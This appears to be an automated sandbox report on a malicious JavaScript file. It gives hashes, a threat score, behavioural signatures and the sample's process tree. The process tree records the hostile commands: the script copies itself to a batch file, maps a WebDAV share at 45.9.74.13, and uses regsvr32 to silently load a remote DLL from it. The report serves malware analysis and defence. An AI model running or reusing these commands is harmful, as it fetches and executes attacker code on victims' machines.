Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 08:22

General

  • Target

    1035225472423620255.js

  • Size

    5KB

  • MD5

    79cea7a28ac3b0816f02ef8cd56bb374

  • SHA1

    b97aeaa191a25362322f9c6a5010778eee4232c7

  • SHA256

    376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d

  • SHA512

    af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9

  • SSDEEP

    96:jOcpeIr/HRoYmcfRoYV10WklIdGTIfe1xTiifxdexT2xIBIkTv:acoApoYmcpoYV1MlIgTIf6TiiZgTqCI+

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3496
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js" "C:\Users\Admin\\iehjwd.bat" && "C:\Users\Admin\\iehjwd.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2896
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4480
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\916.dll
          3⤵
            PID:1628

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\iehjwd.bat

        Filesize

        5KB

        MD5

        79cea7a28ac3b0816f02ef8cd56bb374

        SHA1

        b97aeaa191a25362322f9c6a5010778eee4232c7

        SHA256

        376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d

        SHA512

        af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9